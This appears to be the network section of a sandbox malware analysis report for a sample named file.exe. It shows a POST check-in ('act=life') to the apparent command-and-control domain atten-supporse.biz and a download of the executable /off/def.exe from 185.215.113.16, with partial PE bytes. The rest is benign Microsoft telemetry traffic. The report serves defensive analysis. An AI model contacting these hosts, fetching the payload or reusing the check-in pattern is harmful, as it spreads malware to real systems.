Dec 1, 2024 03:32:17.243357897 CET	192.168.2.7	1.1.1.1	0xf75	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:08.595453978 CET	192.168.2.7	1.1.1.1	0x7f30	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:08.595873117 CET	192.168.2.7	1.1.1.1	0xdcc0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 1, 2024 03:33:11.072477102 CET	192.168.2.7	1.1.1.1	0x74a1	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:11.072710037 CET	192.168.2.7	1.1.1.1	0xc1bb	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 1, 2024 03:33:14.080415964 CET	192.168.2.7	1.1.1.1	0xe588	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:14.080946922 CET	192.168.2.7	1.1.1.1	0x7f14	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 1, 2024 03:33:22.931103945 CET	192.168.2.7	1.1.1.1	0xdfc1	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:22.948400021 CET	192.168.2.7	1.1.1.1	0x52aa	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 1, 2024 03:32:17.469507933 CET	1.1.1.1	192.168.2.7	0xf75	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:32:17.469507933 CET	1.1.1.1	192.168.2.7	0xf75	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:08.732974052 CET	1.1.1.1	192.168.2.7	0xdcc0	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 1, 2024 03:33:08.732990980 CET	1.1.1.1	192.168.2.7	0x7f30	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:11.210094929 CET	1.1.1.1	192.168.2.7	0x74a1	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.210094929 CET	1.1.1.1	192.168.2.7	0x74a1	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.210094929 CET	1.1.1.1	192.168.2.7	0x74a1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.210094929 CET	1.1.1.1	192.168.2.7	0x74a1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:11.559165001 CET	1.1.1.1	192.168.2.7	0xc1bb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.559165001 CET	1.1.1.1	192.168.2.7	0xc1bb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.571978092 CET	1.1.1.1	192.168.2.7	0x10ff	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.680850029 CET	1.1.1.1	192.168.2.7	0xff2c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.680850029 CET	1.1.1.1	192.168.2.7	0xff2c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:11.680850029 CET	1.1.1.1	192.168.2.7	0xff2c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:14.218214989 CET	1.1.1.1	192.168.2.7	0x7f14	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.218214989 CET	1.1.1.1	192.168.2.7	0x7f14	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.218683004 CET	1.1.1.1	192.168.2.7	0xe588	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.218683004 CET	1.1.1.1	192.168.2.7	0xe588	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.218683004 CET	1.1.1.1	192.168.2.7	0xe588	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.218683004 CET	1.1.1.1	192.168.2.7	0xe588	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:14.386419058 CET	1.1.1.1	192.168.2.7	0x6832	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.386419058 CET	1.1.1.1	192.168.2.7	0x6832	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:14.386419058 CET	1.1.1.1	192.168.2.7	0x6832	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 1, 2024 03:33:14.387365103 CET	1.1.1.1	192.168.2.7	0x58b8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:23.354051113 CET	1.1.1.1	192.168.2.7	0x52aa	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:23.356749058 CET	1.1.1.1	192.168.2.7	0xdfc1	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:29.670593977 CET	1.1.1.1	192.168.2.7	0xacc9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:29.923851967 CET	1.1.1.1	192.168.2.7	0x7011	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:36.422672987 CET	1.1.1.1	192.168.2.7	0x2081	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 1, 2024 03:33:36.423253059 CET	1.1.1.1	192.168.2.7	0xb4f2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

otelrules.azureedge.net

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49783	185.215.113.16	80	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 1, 2024 03:32:52.600567102 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 1, 2024 03:32:53.987011909 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Dec 2024 02:32:53 GMT Content-Type: application/octet-stream Content-Length: 2871296 Last-Modified: Sun, 01 Dec 2024 02:25:31 GMT Connection: keep-alive ETag: "674bc91b-2bd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 76 8b 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,v,`Ui` @ @.rsrc`2@.idata 8@ddrvpkgv+n+:@zpbiafyp ,+@.taggant@@,"+@
Dec 1, 2024 03:32:53.987045050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 1, 2024 03:32:53.987057924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 1, 2024 03:32:53.987359047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 1, 2024 03:32:53.987381935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 1, 2024 03:32:53.987394094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 1, 2024 03:32:53.987406015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 1, 2024 03:32:53.987979889 CET	1236	IN	Data Raw: 8e 8a 0e be 66 e7 0f 83 ef d6 0d fb df 0c 6b ad 8b 23 75 9d 4c c1 61 5d 1b 9c 43 7c b5 21 d4 92 47 0e ba 21 b1 ff 94 dd 97 57 4b b3 c0 c5 ff 7d fc 9d 2f ad 38 90 02 79 ee bf 0c 77 fe 95 c6 8f 00 88 1f bd 66 93 1b d5 4a ac 2e 73 dc a6 0c 0e 29 6f Data Ascii: fk#uLa]C\|!G!WK}/8ywfJ.s)oV?E}k e3?W'z/Kd{:;<#Gw#C%FJ:!QGv]NP`]k#}:2K
Dec 1, 2024 03:32:53.988001108 CET	992	IN	Data Raw: 7a 8b 25 d3 a2 8b 29 9f 8b 76 ae b3 e5 ae 23 2c 2d b6 1f b7 5e c1 41 9c 1c 13 4a c3 02 ce 19 be 2c b6 59 9d 8e ee 5d c0 93 81 9b 3b 03 8b 65 bd 2c ea 25 eb 5e d2 75 b1 50 27 80 f7 2a ae 81 94 5c af b9 17 e6 0a 13 45 03 0e 32 be 6c 9f 99 0b 75 46 Data Ascii: z%)v#,-^AJ,Y];e,%^uP'*\E2luF\|D2T:4;BN#NGKa[S-brd9w\|(}c(?1=J<3T;CLhu\|2-%~~n
Dec 1, 2024 03:32:53.988013029 CET	1236	IN	Data Raw: 1b 79 66 ba ef c1 f0 a3 ac 8a d0 cf 42 e9 81 9c e4 12 52 12 41 08 c0 9c e6 12 6a 82 68 50 45 d9 e4 cc 62 e8 f4 f1 a6 87 97 73 f4 e3 7a 05 13 87 3c 70 87 19 3b 8e fb 88 71 e4 43 1b 09 2b 34 f4 28 a8 69 21 ea c5 f9 e8 2d f3 1a 94 60 8b 6a 1c 34 de Data Ascii: yfBRAjhPEbsz<p;qC+4(i!-`j4i[Ai3']`p$&r*y2,HtqH).B1RMo_5d]F:uCHR[`f!#T?%WZj++ztx SSV+G%C#6
Dec 1, 2024 03:32:54.107080936 CET	1236	IN	Data Raw: a0 98 c6 e4 64 3f 57 49 f2 ea 0f bc f5 a7 8d e3 ae 6c 02 d6 7f c5 8a ad df f8 38 ca 85 41 83 7a c5 cb f6 d4 98 82 21 ec d9 b8 09 7e c8 6a 07 49 ec 8f 35 8a 00 8c 06 cf da 8e 4a b2 db 85 3d 79 78 cc 19 89 46 84 8f 80 f6 b5 13 2a b5 af 64 84 df 5d Data Ascii: d?WIl8Az!~jI5J=yxFd]2lMk15\|Z"k#?]]aRuW2}p~}y\|/s)Q!`FnbFi#)Z]&t

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Dec 1, 2024 03:33:47.806435108 CET	13.107.246.63	443	192.168.2.7	49954	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:18 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-01 02:32:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-01 02:32:21 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6vvmckvpbi9ire9osmj57t72k4; expires=Wed, 26-Mar-2025 20:18:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PIG0QgjqIyFYNpVvm0aZZCk9w8z7BVzwYv7fu%2B2L0azvPtcEWS44fmwkzWq9EilM9Gkgf95MzfDrAbOHARXSGpbz8TOczfJemJh9rC9uMhNanjCS1ES9trx5JnOAKlJU%2B4S0VVU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafaa7ef8fd42c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&min_rtt=1765&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1617728&cwnd=211&unsent_bytes=0&cid=01aeb66873e84bce&ts=2421&x=0"
2024-12-01 02:32:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-01 02:32:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:22 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023222Z-174f78459688l8rvhC1EWRtzr00000000evg00000000db9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:22 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
